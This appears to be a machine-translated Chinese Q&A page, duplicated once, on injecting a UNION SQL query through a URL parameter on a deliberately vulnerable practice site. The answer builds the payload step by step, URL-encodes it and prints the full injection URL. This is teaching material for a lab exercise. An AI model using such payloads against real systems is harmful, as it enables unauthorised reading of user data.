将 SQL 查询注入 http URL
Inject SQL query into http URL
我接到一项任务,要对为此目的而构建的虚假网站进行 SQL 注入。
我想知道如何将 SQL 查询注入 URL。
例如,http://localhost:<>/vulnerabilities/webapi/users//昵称?用户名=my_id
我有这个 URL,我想向它注入 UNION 查询,我该怎么做?
谢谢
假设您的网络查询将被翻译成
SELECT * FROM users WHERE username = 'my_id';
现在,诀窍是用恶意代码替换 'my_id'
。我假设 UNION 查询的目的是 return 所有用户而不是一个。结果应该是:
SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';
也许原始查询有一个字段列表而不是 *
。然后你将不得不在第二个查询中复制这个列表。
现在您必须输入
而不是 my_id
my_id' UNION SELECT * FROM users; --
请注意,我们以 --
引入评论来结束我们的条目。查询机制将通过附加最后一个单引号(也可能是分号)来终止查询。现在它们将变成评论。
下一个问题是,我们如何为 URL 正确地转义它。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:
my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
这给出了完整的 URL:
http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
我接到一项任务,要对为此目的而构建的虚假网站进行 SQL 注入。 我想知道如何将 SQL 查询注入 URL。 例如,http://localhost:<>/vulnerabilities/webapi/users//昵称?用户名=my_id 我有这个 URL,我想向它注入 UNION 查询,我该怎么做? 谢谢
假设您的网络查询将被翻译成
SELECT * FROM users WHERE username = 'my_id';
现在,诀窍是用恶意代码替换 'my_id'
。我假设 UNION 查询的目的是 return 所有用户而不是一个。结果应该是:
SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';
也许原始查询有一个字段列表而不是 *
。然后你将不得不在第二个查询中复制这个列表。
现在您必须输入
而不是my_id
my_id' UNION SELECT * FROM users; --
请注意,我们以 --
引入评论来结束我们的条目。查询机制将通过附加最后一个单引号(也可能是分号)来终止查询。现在它们将变成评论。
下一个问题是,我们如何为 URL 正确地转义它。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:
my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
这给出了完整的 URL:
http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--